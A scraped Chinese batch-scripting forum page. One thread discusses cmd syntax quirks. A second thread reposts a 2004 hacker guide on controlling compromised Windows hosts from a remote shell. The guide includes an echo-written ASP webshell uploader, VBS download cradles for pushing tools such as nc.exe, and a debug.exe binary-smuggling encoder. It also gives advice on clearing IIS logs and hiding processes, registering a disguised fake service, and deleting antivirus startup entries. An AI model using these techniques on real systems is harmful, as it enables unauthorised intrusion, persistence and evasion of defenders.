  1. @echo off&setlocal enabledelayedexpansion

  2. set n=1&if not "!n!"=="" echo.定义了变量n，即变量n存在

  3. set/a n=%n%+1&set/a n=!n!+7

  4. echo.%n%

  5. pause
复制代码
2，关于表达式分隔符,：

以上面的批处理为例，是不可以写成：
  1. @echo off&setlocal enabledelayedexpansion

  2. set n=1&if not "!n!"=="" echo.定义了变量n，即变量n存在

  3. set/a n=%n%+1,n=!n!+7

  4. echo.%n%

  5. pause
复制代码
即用,连起来的表达式，无论是否开了变量延迟，只要这个变量被用!括起来，!n!都不会动态扩展分隔符,前n的变化。
即 set/a n=%n%+1&set/a n=!n!+7 和 set/a n=%n%+1,n=!n!+7 并不等效；
即 set/a n=n+1,n=n+7 和 set/a n=%n%+1,n=!n!+7 也不等效。
所以：在一个用分隔符 , 连起来的表达式中，!括变量并不能动态扩展该变量在,前的变化，去掉这个!才可以动态扩展该变量在,前的变化。

[ 本帖最后由 hanyeguxing 于 2010-4-17 15:39 编辑 ]
1

评分人数

    • qzwqzw: 谢谢提供，准备加入逗号表达式的部分技术 + 1 PB + 30
寒夜孤星：在没有说明的情况下，本人所有代码均运行在 XP SP3 下 （有问题请发贴，QQ临时会话已关闭）
回复 引用

评分 报告 TOP

qzwqzw
  • 发短消息
  • 加为好友

qzwqzw (活着就是幸福)当前离线

UID
3023
帖子
508
精华
2
积分
1475
PB
1219
技术
82
捐助
0
阅读权限
254
来自
五湖四海，咫尺天涯
在线时间
347 小时
注册时间
2008-7-17
最后登录
2017-5-18

贵宾

帖子
508
积分
1475
技术
82
捐助
0
注册时间
2008-7-17
7楼
发表于 2010-4-17 17:54 | 只看该作者

回复 6楼 的帖子

变量延迟的特例我需要考虑一下
因为从我的理解
这些语法特性都可以理解
算不上“奇诡”
if defined 和 set /a因为都是在内部处理变量
而不是在预处理过程中处理
也就是说不需要使用变量扩展标记
所以天然具有变量延迟的特性

至于逗号表达式
这是set /a才能处理的特性
cmd的预处理过程
是把两个表达式理解为一句
而不是一个语句块
所以自然不可能延迟扩展变量
回复 引用

评分 报告 TOP

neorobin
  • 发短消息
  • 加为好友

neorobin 当前离线

UID
20015
帖子
675
精华
1
积分
4006
PB
3666
技术
110
捐助
0
阅读权限
254
在线时间
1253 小时
注册时间
2009-11-25
最后登录
2016-5-13

技术组成员

帖子
675
积分
4006
技术
110
捐助
0
注册时间
2009-11-25
8楼
发表于 2010-4-17 17:57 | 只看该作者

数值比较溢出错误的问题

Winxp CMD 处理的数值范围 是 [-2^31, 2^31-1], 即使两个数值都在此范围内, 但它们进行 if 比较( 除仅仅只是相等或不相等 的比较) 时, 也可能发生溢出错误, 发生情形为两个数的差值的绝对值 大于或等于 2^31 时, 示例
  1. if 3 gtr -2147483645 (echo 3＞-2147483645) else (echo 3＜＝-2147483645)
复制代码
显示结果为:
3＜＝-2147483645

更多请见: http://bbs.bathome.net/thread-7659-1-1.html
1

评分人数

    • qzwqzw: 谢谢你的提供，准备将if和for的限定分别加入 ...技术 + 1 PB + 30
回复 引用

评分 报告 TOP

hanyeguxing
  • 发短消息
  • 加为好友

hanyeguxing (寒夜孤星)当前离线

UID
14295
帖子
1739
精华
1
积分
4955
PB
4180
技术
255
捐助
0
阅读权限
254
来自
在地狱中仰望天堂
在线时间
1094 小时
注册时间
2009-6-11
最后登录
2012-5-31

荣誉版主

帖子
1739
积分
4955
技术
255
捐助
0
注册时间
2009-6-11
9楼
发表于 2010-4-17 19:34 | 只看该作者
原帖由 qzwqzw 于 2010-4-17 17:54 发表
变量延迟的特例我需要考虑一下
因为从我的理解
这些语法特性都可以理解
算不上“奇诡”
if defined 和 set /a因为都是在内部处理变量
而不是在预处理过程中处理
也就是说不需要使用变量扩展标记
所以天然具有变量延迟的特性

至于逗号表达式
这是set /a才能处理的特性
cmd的预处理过程
是把两个表达式理解为一句
而不是一个语句块
所以自然不可能延迟扩展变量
...
这个我同意，当初自学的时候，我绕了好大一个圈子才明白过来
寒夜孤星：在没有说明的情况下，本人所有代码均运行在 XP SP3 下 （有问题请发贴，QQ临时会话已关闭）
回复 引用

评分 报告 TOP

qzwqzw
  • 发短消息
  • 加为好友

qzwqzw (活着就是幸福)当前离线

UID
3023
帖子
508
精华
2
积分
1475
PB
1219
技术
82
捐助
0
阅读权限
254
来自
五湖四海，咫尺天涯
在线时间
347 小时
注册时间
2008-7-17
最后登录
2017-5-18

贵宾

帖子
508
积分
1475
技术
82
捐助
0
注册时间
2008-7-17
10楼
发表于 2010-4-17 23:05 | 只看该作者
因为帖子字数所限
现在主题帖暂时无法更新
楼上的两位兄弟别着急
我正在想办法
天的白色影子
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
11楼
发表于 2010-4-18 20:47 | 只看该作者
    我也来补充几条：
1、
  1. for %i in (*.txt) do echo %i
复制代码
    以上语句不能检测到带隐藏属性的txt文件；
2、
  1. ren 10.pdf *2.c
复制代码
    10.pdf 被改成了什么？10.pdf2.c！具体分析请看这篇文章：http://www.cn-dos.net/forum/viewthread.php?tid=29538
3、
    cmd窗口中运行 for /?，找到一段话：
eol=c - 指一个行注释字符的结尾(就一个)

    什么意思？是说如果要找到以c字符结尾的某行文字，只需要添加 eol=c 的限制就可以了么？试试运行如下代码：
  1. @echo off

  2. for /f "eol=c" %%i in (test.txt) do echo %%i

  3. pause
复制代码
测试文本test.txt的内容为：
;abc
cab
;cab
acb

    结果如何？居然是不显示第二行内容！
    第二行内容有什么规律？它是以字符 c 打头的。My God，天杀的瘟到死，居然把"忽略以字符c打头的行"给翻译成"忽略以字符c结尾的行"！
4、
    还是上面那个test.txt，代码还是上面那一个，不过去掉了引号内的限制，改成：
  1. @echo off

  2. for /f %%i in (test.txt) do echo %%i

  3. pause
复制代码
    结果，所有以分号打头的行都没显示出来。原来for语句暗含忽略以分号打头的行的功能，因为以分号打头的行在很多语言中都是作为注释语句。
5、
  1. @echo off

  2. for /f %%i in (test.txt) do (

  3.     set str=%%i

  4.     setlocal enabledelayedexpansion

  5.     echo !str!

  6. )

  7. pause
复制代码
    当test.txt内的行数超过32行时，第32行之后，每显示一行的内容，将报错一次：“已经达到最大的 setlocal 递归层。”，当在 echo 的下一句添加 endlocal 语句时，将不会报错。
5、
  1. set /p str=<test.txt

  2. echo %str%
复制代码
    获取 test.txt 第一行的内容，并赋予变量 str

6、
  1. findstr /v "$" test.txt
复制代码
    当 test.txt 最后一行不是空行的时候，将获取最后一行的内容，因为最后一行的字符在结尾处只含回车符号而不含换行符号（貌似是这样解释的吧？），而 $ 在findstr中的准确含义是"匹配回车+换行符号"。

7、
  1. set str=abc

  2. set /a num=%str%&&(echo %str% 是数字) || echo (%str%不是数字)
复制代码
    在SP2环境下，它是可以判断某一字符串是不是纯数字的（要求数字的范围在0～2^32-1这个范围内），但是，到了SP3下之后，这条语句已经不再适用，因为如果某一字符串不是数值，将 set /a num=%str% 之后，num的值将会被赋为0值。

8、
  1. set /a num1=123,num2=345

  2. echo %num1%

  3. echo %num2%
复制代码
    同时给两个变量赋予数值类型的值。如果其中某个变量的值不是数值，在SP2下将出错，在SP3下该变量的值为0。

9、
  1. @echo off

  2. for /f "delims=" %%i in ('type test.txt') do echo "%%i"

  3. pause
复制代码
    对一个追求代码极限简洁的狂热分子来说，type命令可能显得画蛇添足，但是，当你处理的test.txt是Unicode编码的时候，你将体会到什么叫不可或缺。当然，type也可以换成more，不过more在显示长文本的时候会分屏显示。

10、
  1. findstr "我 你" test.txt
复制代码
test.txt中有一行内容：
我 你 他

    上面的代码竟然不能查到这行内容！加上 /i 或 /r 参数，奇迹就会出现。难道这是 findstr 在查找以空格分隔的多个纯中文字符串的时候存在的bug？
1

评分人数

    • qzwqzw: 先把分加上，明天再细看PB + 30 技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

qzwqzw
  • 发短消息
  • 加为好友

qzwqzw (活着就是幸福)当前离线

UID
3023
帖子
508
精华
2
积分
1475
PB
1219
技术
82
捐助
0
阅读权限
254
来自
五湖四海，咫尺天涯
在线时间
347 小时
注册时间
2008-7-17
最后登录
2017-5-18

贵宾

帖子
508
积分
1475
技术
82
捐助
0
注册时间
2008-7-17
12楼
发表于 2010-4-19 14:49 | 只看该作者
攒的真多啊
手忙脚乱了半天
才整理的差不多

第5条应该是笔误吧
set /p str=test.txt<nul
好像该是
set /p str=<test.txt

第6条表述有些小问题
那种情况下
最后一行既没有回车符0x0d，\r，也没有换行符0x0a，\n
而"获取最后一行的内容"应该是”不获取最后一行的内容“
改了

第8条没看出跟第7条有什么不同

第9条的内容稍微改了一下加进去了
type支持unicode不算奇诡
cmd/u和type不兼容才算是奇诡
天的白色影子
回复 引用

评分 报告 TOP

qzwqzw
  • 发短消息
  • 加为好友

qzwqzw (活着就是幸福)当前离线

UID
3023
帖子
508
精华
2
积分
1475
PB
1219
技术
82
捐助
0
阅读权限
254
来自
五湖四海，咫尺天涯
在线时间
347 小时
注册时间
2008-7-17
最后登录
2017-5-18

贵宾

帖子
508
积分
1475
技术
82
捐助
0
注册时间
2008-7-17
13楼
发表于 2010-4-19 14:50 | 只看该作者
印象中还记得有一个关于for /f usebackq 的奇诡语法
不知道谁还能找到？

另外现在帖子是按核心命令行的字母顺序排序
现在的条数越来越多
索引方式就有点乱了
更新起来也比较麻烦
大家有什么其它的好办法没有
最好是多种索引方式并行

[ 本帖最后由 qzwqzw 于 2010-4-19 15:31 编辑 ]
天的白色影子
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
14楼
发表于 2010-4-19 15:48 | 只看该作者
原帖由 qzwqzw 于 2010-4-19 14:49 发表
攒的真多啊
手忙脚乱了半天
才整理的差不多

以前碰到过很多诡异的情况，由于不善归纳整理，目前只是自己心知肚明，像楼主这样整理出来与人分享，是件功德无量的事情，值得大家学习。
第5条应该是笔误吧
set /p str=test.txt<nul
好像该是
set /p str=<test.txt

嘿嘿，一激动就写错了，已更改。
第6条表述有些小问题
那种情况下
最后一行既没有回车符0x0d，\r，也没有换行符0x0a，\n
而"获取最后一行的内容"应该是”不获取最后一行的内容“
改了

嗯，最后一行应该是同时没有回车符和换行符。不过我那条代码的执行结果和我的文字描述是吻合的，因为我使用了 /v 来排除回车换行符。
第8条没看出跟第7条有什么不同

第7条的重点是描述 set /a 在不同版本的系统上有不同的表现；而第8条描述是是多个数值赋值语句可以写成一行。
第9条的内容稍微改了一下加进去了
type支持unicode不算奇诡
cmd/u和type不兼容才算是奇诡

呵呵，我的本意是 for 语句不能直接读取Unicode编码的文本，需要借助type或more。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
15楼
发表于 2010-4-19 15:58 | 只看该作者
原帖由 qzwqzw 于 2010-4-19 14:50 发表
另外现在帖子是按核心命令行的字母顺序排序
现在的条数越来越多
索引方式就有点乱了
更新起来也比较麻烦
大家有什么其它的好办法没有
最好是多种索引方式并行

    你在顶楼归纳的那4种情况其实就是一个大的分类啊，在这些分类下面，再按照字母顺序排下来就是了。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

1 2 3 4 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • BAT教程&资料
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:39, Processed in 0.097268 second(s), 9 queries, Gzip enabled.


Do All in Cmd Shell (一切尽在命令行)

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [ZT]Do All in Cmd Shell (一切尽在命令行)
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-3-18 21:40 | 只看该作者

[ZT]Do All in Cmd Shell (一切尽在命令行)

  1. Do All in Cmd Shell (一切尽在命令行)

  2.

  3. -------------------------------------------------------

  4. zzzEVAzzz <zzzevazzz@126.com>

  5. http://www.isgrey.com

  6. 2004-04-24

  7. -------------------------------------------------------

  8.

  9.

  10. 目录

  11. 1，前言

  12. 2，文件传输

  13. 3，系统配置

  14. 4，网络配置

  15. 5，软件安装

  16. 6，Windows脚本

  17. 7，附言

  18.

  19.

  20. 前言

  21. Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。

  22. 本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

  23.

  24.

  25. 文件传输

  26. 对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：

  27.

  28. 1，用Echo命令写ASP木马。

  29. 前提当然是目标主机上已经安装了IIS。

  30. 一般的ASP木马“体积”较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。

  31. 直接给出echo版：

  32.

  33. @echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

  34.

  35. 注意，只有一行，中间没有回车符。

  36. 生成的up.asp不能用浏览器访问，只能用下面这个脚本：

  37.

  38. with wscript

  39. if .arguments.count<3 then .quit

  40. url=.arguments(0)&"?s="&.arguments(2)

  41. fn=.arguments(1)

  42. end with

  43. with createobject("adodb.stream")

  44. .type=1:.open:.loadfromfile fn:s=.read:.close

  45. end with

  46. with createobject("microsoft.xmlhttp")

  47. .open "post",url,false:.send s

  48. wscript.echo .statustext

  49. end with

  50.

  51. 将其保存为up.vbs。假设目标IP为123.45.67.89，up.asp在IIS虚拟根目录下，需要上传的文件为nc.exe，上传后保存为mm.exe，相应的命令是：

  52.

  53. cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

  54.

  55. 注意，这个命令是在本地命令行中执行的，不要弄错了。

  56.

  57. 另外，通过IIS上传会留日志，要记得清除哦。

  58.

  59. 2，自动下载到网页缓存中。

  60. 例如：

  61.

  62. start its:http://www.sometips.com/soft/ps.exe

  63.

  64. 在远程shell中执行上面这个命令后，ps.exe已经下载到目标主机的网页缓存目录中了。然后：

  65.

  66. cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"

  67. dir /s ps[1].exe

  68.

  69. 于是获得ps.exe的具体位置(每台主机都不一样)，如：

  70.

  71. C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录

  72.

  73. 2004-01-24  14:24            49,152 ps[1].exe

  74.                1 个文件         49,152 字节

  75.

  76. 最后：

  77. copy AB094JIT\ps[1].exe c:\path\ps.exe

  78. del AB094JIT\ps[1].exe

  79.

  80. 补充说明：

  81. 对于以服务为启动方式的后门所提供的shell，其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System，需要修改Default User为相应的用户名。

  82. 本方法会启动一个IE进程，记得要将它杀掉。如果是System身份的shell，不会在本地出现窗口而暴露。

  83. 另外，用ms-its代替its效果完全一样。

  84.

  85. 3，Echo一个脚本下载web资源。

  86. 现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。

  87. 仍然是echo版：

  88.

  89. @echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs

  90. @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs

  91. @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs

  92. @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

  93.

  94. 举例——下载ps.exe并保存到c:\path下：

  95.

  96. cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

  97.

  98. 注意，这是在远程shell中执行的。

  99.

  100. 4，Echo经过编码的任何文件，再用脚本+debug还原。

  101. 前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出“杀手锏”了！

  102.

  103. echo命令加重定向操作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位操作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）

  104.

  105. 无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：

  106.

  107. fp=wscript.arguments(0)

  108. fn=right(fp,len(fp)-instrrev(fp,"\"))

  109. with createobject("adodb.stream")

  110. .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)

  111. end with

  112. sll=sl mod 65536:slh=sl\65536

  113. with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)

  114. .write "@echo str="""

  115. for i=1 to sl

  116. bt=ascb(midb(str,i,1))

  117. if bt<16 then .write "0"

  118. .write hex(bt)

  119. if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""

  120. next

  121. .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_

  122. +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_

  123. +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"

  124. .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_

  125. +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_

  126. +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"

  127. end with

  128.

  129. 将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：

  130.

  131. cscript echo.vbs nc.exe

  132.

  133. 也可以直接把要传输的文件的图标拖放到脚本文件的图标上。

  134. 稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：

  135.

  136. @echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs

  137. @echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs

  138. @echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs

  139. @echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs

  140. …………

  141. …………（省略若干行）

  142. …………

  143. @echo +"">>debug.vbs

  144. @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs

  145. @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

  146.

  147. 全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。

  148. 如果网速不是很慢的话，整个上传过程大约需要20秒。

  149.

  150. 几点说明：

  151. 1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。

  152. 2，在传输大文件前，可以先传个小的文件作为“热身”，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。

  153. 3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。

  154. 4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。

  155. 5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。

  156.

  157. 能上传文件当然一切都好办了，但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。

  158.

  159.

  160. 系统配置

  161. 这节包括三方面内容：注册表、服务和组策略。

  162.

  163. 先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。

  164. 好在系统自带的regedit.exe足够用了。

  165.

  166. 1，读取注册表

  167. 先将想查询的注册表项导出，再用type查看，比如：

  168.

  169. C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

  170.

  171. C:\>type 1.reg | find "PortNumber"

  172. "PortNumber"=dword:00000d3d

  173.

  174. C:\>del 1.reg

  175.

  176. 所以终端服务的端口是3389（十六进制d3d）

  177.

  178. 2，修改/删除注册表项

  179. 先echo一个reg文件，然后导入，比如：

  180.

  181. echo Windows Registry Editor Version 5.00 >1.reg

  182. echo. >>1.reg

  183. echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg

  184. echo "TelnetPort"=dword:00000913 >>1.reg

  185. echo "NTLM"=dword:00000001 >>1.reg

  186. echo. >>1.reg

  187. regedit /s 1.reg

  188.

  189. 将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。

  190.

  191. 要删除一个项，在名字前面加减号，比如：

  192.

  193. [-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

  194.

  195. 要删除一个值，在等号后面用减号，比如：

  196.

  197. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  198. "KAVRun"=-

  199.

  200. 3，用inf文件访问注册表

  201. 上面对注册表的三个操作，也可以用下面这个inf文件来实现：

  202.

  203. [Version]

  204. Signature="$WINDOWS NT$"

  205. [DefaultInstall]

  206. AddReg=My_AddReg_Name

  207. DelReg=My_DelReg_Name

  208. [My_AddReg_Name]

  209. HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323

  210. HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1

  211. [My_DelReg_Name]

  212. HKLM,SYSTEM\CurrentControlSet\Services\Serv-U

  213. HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

  214.

  215. 将它写入c:\path\reg.inf然后用下面这个命令“安装”：

  216.

  217. rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

  218.

  219. 几点说明：

  220. 1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。

  221. 0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。

  222. 2323也可以用0x913代替。

  223. 关于inf文件的详细信息，可以参考DDK帮助文档。

  224. 2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。

  225. 128表示给定路径，该参数其他取值及含义参见MSDN。

  226. 特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。

  227. 3，inf文件中的项目都是大小写不敏感的。

  228.

  229.

  230. 接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。

  231.

  232. 增加一个服务：

  233.

  234. [Version]

  235. Signature="$WINDOWS NT$"

  236. [DefaultInstall.Services]

  237. AddService=inetsvr,,My_AddService_Name

  238. [My_AddService_Name]

  239. DisplayName=Windows Internet Service

  240. Description=提供对 Internet 信息服务管理的支持。

  241. ServiceType=0x10

  242. StartType=2

  243. ErrorControl=0

  244. ServiceBinary=%11%\inetsvr.exe

  245.

  246. 保存为inetsvr.inf，然后：

  247.

  248. rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

  249.

  250. 这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。

  251.

  252. 几点说明：

  253. 1，最后四项分别是

  254. 服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；

  255. 启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。

  256. （注意，0和1只能用于驱动程序）

  257. 错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。

  258. 服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。

  259. 这四项是必须要有的。

  260. 2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。

  261. 3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。

  262.

  263. 删除一个服务：

  264.

  265. [Version]

  266. Signature="$WINDOWS NT$"

  267. [DefaultInstall.Services]

  268. DelService=inetsvr

  269.

  270. 很简单，不是吗？

  271.

  272. 当然，你也可以通过导入注册表达到目的。但inf自有其优势。

  273. 1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：

  274. "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\

  275.   74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\

  276.   00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00

  277. 可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。

  278. 2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。

  279. 3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。

  280.

  281. 另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

  282.

  283.

